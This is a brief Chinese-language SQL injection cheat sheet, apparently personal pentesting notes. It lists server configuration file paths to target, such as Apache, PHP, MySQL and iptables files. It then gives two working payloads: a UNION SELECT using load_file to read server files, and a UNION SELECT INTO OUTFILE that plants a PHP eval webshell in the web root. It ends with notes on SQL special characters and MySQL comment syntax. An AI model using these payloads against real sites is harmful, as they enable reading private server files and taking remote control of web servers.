/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP相關設置
/etc/sysconfig/iptables //從中得到防火牆規則策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系統版本
/usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
-
服務器讀取文件
'union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit#
-
寫webshell獲取權限
'union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit#
補充:
SQL中的特殊符號:
' 是 單引號
" 是雙引號
& 是並且
||是連接符
@是定義變量
%是模糊查詢符號*是通配符
()是括號
--是注釋
在MySQL中采用的是"#"方式進行單行注釋。
對數字型來說,注入的那里,and前面是不能加分號的。